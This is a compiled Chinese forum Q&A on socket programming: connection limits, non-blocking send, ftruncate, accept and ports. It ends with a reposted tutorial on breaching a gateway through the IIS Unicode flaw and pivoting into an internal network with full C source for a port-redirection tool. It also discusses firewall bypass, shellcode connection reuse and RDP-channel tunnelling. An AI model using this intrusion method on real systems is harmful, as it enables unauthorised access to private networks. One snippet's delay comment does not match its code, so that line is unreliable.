问题一:
在Linux下建立Socket,结果发现建立了640多个socket连接后就再也连不上去了,
而在Windows下,建了5000多个连接发现还能连上去……
请问在Linux下是不是需要修改什么限制啊??还是要做什么特殊的处理?
BTW:原来程序是在Windows下运行的,后来为了追求更好的性能才移植到Linux下,
结果没想到会是这种结果
Linux的版本是Redhat 9,我已经更改了ulimit -n 8192,将单个进程打开文件数
加大(说的不对敬请拍砖),结果还是一样
请问倒底是怎么回事啊?谢谢
答:文件描述符个数限制。
问题二:
应用需求:
应用环境:Debain Linux(版本记不住了)
向一台主机发送数据包,用send发送,发送的数据量很大,几百兆左右,因此由于
send一次对数据包长度的限制,只能分多次send.而且每次发送的数据包的大小是
20
兆左右.所以发送一次的时间:从执行send()到成功返回会有一段时间.现在的问题
是,
在send()的过程中,如果网络突然中断,那么send()过程就会阻塞,直到网络重新回
复
正常才能继续发送,现在要求,一旦网络中断,程序能够跳出来,打印出错信息.
请问应该如何解决?
答:
(1)
select + ioctlsocket (win platform)
select + ioctl (unix platform)
以上只能在不拔掉网线的情况下使用啦
如果要对付拔掉网线的情况,
Lan: 聊天协议
wan: setsocketopt 啦
至于每一个函数怎么用自己查帮助吧!
--------------------------
(2)
ssize_t total, nsent, n;
char buf[...];
set the socket to non-blocking;
total = 0;
n = buf's size;
while (1)
{
if ((nsent = send(sockfd, buf + total, n - total, 0)) < 0)
{
if (errno == EAGAIN)
{
/* the send buffer is STILL full, and we assume that the
network is broken. As you said, we should stop sending
and return with an error indicating broken network */
myerrno = ENETWORKBROKEN; /* defined by yourself */
}
else
{
myerrno = ESYSTEM; /* it's some system error. caller
should examine the 'errno' */
}
break;
}
if ((total += nsent) == n) /* transmittion completes */
break;
/* now, the send buffer is full, and we wait a while of 1/10
second. During this time, if some TCP packets is conformed by
the peer, the socket will become writable; if not, the next
send will fail with EAGAIN (EWOULDBLOCK) */
usleep(1000 * 1000);
}
free(something);
close(something);
return nsent < 0 ? -1 : total;
问题三:
为什么ftruncate总是出错呢?大家帮忙看看。
#include "Const.h"
int main(int argc,char **argv) {
int fd;
char *ptr;
off_t len;
fd = shm_open(argv[1],O_RDWR|O_CREAT,S_IRUSR|S_IWUSR);
len = atoi(argv[2]);
if(ftruncate(fd,len) == -1)
{
printf("truncate file failure,%d\n",errno);
exit(1);
}
ptr = mmap(NULL,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
exit(0);
}
问题四:
关于wattcp。
问题五:
stevens的书上有一个例子:
在客户端向服务器发送connect请求后,服务器listen与accept中间间隔了一段时间
而在这段时间中,客户端人为的发送了一个RST,那么服务器如果没有考虑客户端的动作
就会阻塞在accept上
这个我好像有点不太明白啊
是不是可以理解为:
tcp在发现RST后,把这个连接从已连接队列中删除,而accept却找不到这个队列,因此就
阻塞在那里。
不知道我的理解对不对,请指教
答:是。
问题六:
答:
P层会自动去算。
问题七:
请问写ftp server的时候,端口号怎么分配
答:
先bind到端口0 ,然后getsockname 得到 端口号 。
问题八:
TCP SYN 的问题
三次握手中,
如果我的SYN包带数据,别人的SYN|ACK或者RST|ACK中不会把数据发送回来?
答:不会。
问题九:
突破TCP-IP过滤/防火墙进入内网(一)
答:摘要
我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer
机器。
(2002-09-16 13:29:24)
------------------------------------------------------------------------------
--
By Wing, 出处:ronnie
(注:本站转载这篇文章旨在希望通过这篇文章来如何预防网络的安全,并不鼓励读者去
做相应的破坏活动,特此声明)
作者:eyas
现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽
带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到I
nternet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接
到Internet。
也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我
。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者
已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的
服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。
Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端
]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?
呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其
他的话,原理也差不多,把程序稍微修改就行了。
第一部分:利用TCP socket数据转发进入没有防火墙保护的内网
假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。
sever--Ethernet--攻击者
|
hup-192.168.1.x
|
192.168.1.3
我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接
和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的wind
ows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,
只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我
们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写
一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人
内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务
器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现
在敌人的网络拓扑是我们给他设计的,哈哈。
攻击流程如下:
<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成
别的,那我们就要相应的修改TermClient了]等待我们去连接。
<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。
<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的
TermServer[192.168.1.3]
<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的
为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的
192.168.1.3,感觉怎么样?:)
程序代码如下:
/**********************************************************************
Module Name:AgentGateWay.c
Date:2001/4/15
CopyRight(c) eyas
说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,
就可以进入内网了
sock[0]==>sClient sock[1]==>sTarget
**********************************************************************/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//监听端口
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本机监听的socket
sock[2];
struct sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf(" WSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);
Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf(" bind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf(" listen() failed:%d",GetLastError());
__leave;
}
//scoket循环
while(1)
{
printf(" *************Waiting Client Connect to************** ");
iAddrSize=sizeof(Client);
//get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf(" accept() failed:%d",GetLastError());
break;
}
printf(" Accept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
//create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf(" connect() failed:%d",GetLastError());
__leave;
}
printf(" connect to target 3389 success!");
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf(" *****************Connection Close******************* ");
}//end of sock外循环
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/*************************************************************************
Module:TCPDataRedird.c
Date:2001/4/16
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
*************************************************************************/
#define BuffSize 20*1024 //缓冲区大小20k
//此函数负责从Client读取数据,然后转发给Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]={0},
szRecvFromClientBuff[BuffSize]={0};
fd_set fdread,fdwrite;
printf(" *****************Connection Active******************* ");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf(" select() failed:%d",GetLastError());
break;
}
//printf(" select() return value ret=%d",ret);
if(ret>0)
{
//sClinet可读,client有数据要发送过来
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]发送来的数据
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf(" recv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf(" recv %d bytes from sClinet.",iRet);
//把从client接收到的数据存添加到发往target的缓冲区
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
//刷新发往target的数据缓冲区当前buff大小
iSTTBCS+=iRet;
//清空接收client数据的缓冲区
memset(szRecvFromClientBuff,0,BuffSize);
}
//sTarget可写,把从client接收到的数据发送到target
if(FD_ISSET(sock[1],&fdwrite))
{
//转发数据到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf(" send() to target failed:%d",GetLastError());
break;
}
printf(" send %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToTargetBuff,0,BuffSize);
//重置发往target的数据缓冲区当前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循环
return 0;
}
//此函数负责从target读取数据,然后发送给client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]={0},
szSendToClientBuff[BuffSize]={0};
fd_set fdread,fdwrite;
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf(" select() failed:%d",GetLastError());
break;
}
if(ret>0)
{
//sTarget可读,从target接收数据
if(FD_ISSET(sock[1],&fdread))
{
//接收target返回数据
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf(" recv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf(" recv %d bytes from target",iRet);
//把从target接收到的数据添加到发送到client的缓冲区
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
//清空接收target返回数据缓冲区
memset(szRecvFromTargetBuff,0,BuffSize);
//刷新发送到client的数据缓冲区当前大小
iSTCBCS+=iRet;
}
//client可写,发送target返回数据到client
if(FD_ISSET(sock[0],&fdwrite))
{
//发送target返回数据到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf(" send() to Client failed:%d",GetLastError());
break;
}
printf(" send %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;
}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}
----------------
其中心思想跟历史上所有同类小程序一样,简单总结一下,
1. 在有FW介入的情况下建立多条相关TCP连接
一般FW基于状态,许出不许进,换句话说,从内向外主动发起连接一般
都没问题。
bind+connect
connect+connect
bind+bind
无非就是这三种组合,基于不同的网络环境选择不同的策略。
2. 在1中建立的多条TCP连接之间完成数据区的转发动作。
大多数情况可能是victim只开放了80这样的周知端口,shellcode获取控制后
可以找出当前所用tcp连接,而不必另行bind或者connect,这是突破远端FW与
己端NAT的最佳选择。
--------------------
四哥说的第2种情况,我想在3389端口开放时候,仍然利用3389
端口,而不再重新利用其他端口或者当前其他tcp连接所用的
端口.原理是:
利用terminal的virtual channel技术,自己在server端先安装一个
利用virtual channle的程序,然后自己这边client也写个利用
virtual channel的程序和server端的那个程序通信。当然这两个
程序还是使用3389端口,而且通信过程只有这两个程序理解自己的格式。
说起来,这有点像IP tunnel。
win 2003 server对于sound和其他device map就是利用这种技术。你用
win2003的客户端登陆2003 server,然后听歌曲时候,你可以发现你不
听歌和听歌,程序只是使用一个3389端口,而不是 说听歌时候又多开一个端口
用来传送声音数据。(首先你要开启win 2003 server的声音服务,这跟
win2k的一个区别所在)
实现起来比较复杂:
1)得写个server端利用virtual channel得程序,难度还行。
2)得写个client端利用virtual channel的程序,跟1)差不多。不过这里
假定client是windos平台,若是非win平台,得掌握terminal client原理,
必要时掌握terminal client源程序。这样从可以修改其远程序,加上自己
的代码。
这里为什么win平台不需要掌握远程序就可以写 client端程序,是因为win平台
已经提供了接口,你只要按照接口规范写就行了。而现在的非win平台的client
端并没有virtual channel的接口规范,没有这样的接口,只好修改源程序让它
有这样的接口了。
最后,假若发现ms的terminal server端存在溢出漏洞,自己会非win平台的源程序,就
可以很快(全程<20分钟)的写出个attack 程序。对于win平台上的ms termianl
client(mstsc.exe),要是修改它来attack,可就非常难了。哈哈
--------------------------------
> 最后,假若发现ms的terminal server端存在溢出漏洞,自己会非win平台的源程序,就
> 可以很快(全程<20分钟)的写出个attack 程序。对于win平台上的ms termianl
> client(mstsc.exe),要是修改它来attack,可就非常难了。哈哈
呵,这个倒是一点不假,非Win平台要折腾Win平台的东西,实际就是全面的
Network/System Hacking,smbdie刚一披露,vertex就写了攻击程序,因为
他一直在折腾SMB解码。
看来你现在对远程终端这套东西很熟了啊。我是一点不懂的。